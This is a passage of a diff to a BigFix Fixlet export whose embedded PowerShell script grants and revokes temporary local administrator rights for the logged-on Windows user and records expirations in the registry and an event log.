-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25213">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user administrative rights for&amp;nbsp;permanently.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (10000000 * week)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current User to Temporary Administrators - Windows
+  ID       : 24155
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:24:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current User to Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet grants a user administrative rights and creates a store of users with their expirations dates/times.</P>
+<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );(  set of (/*Users and Groups in Administrators */   sids of members of local group &quot;administrators&quot; as string)  )  )</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 1 hour.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 1*hour}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action25210">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 8 hours. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 8*hour}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25211">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 1 day. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 1*day}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
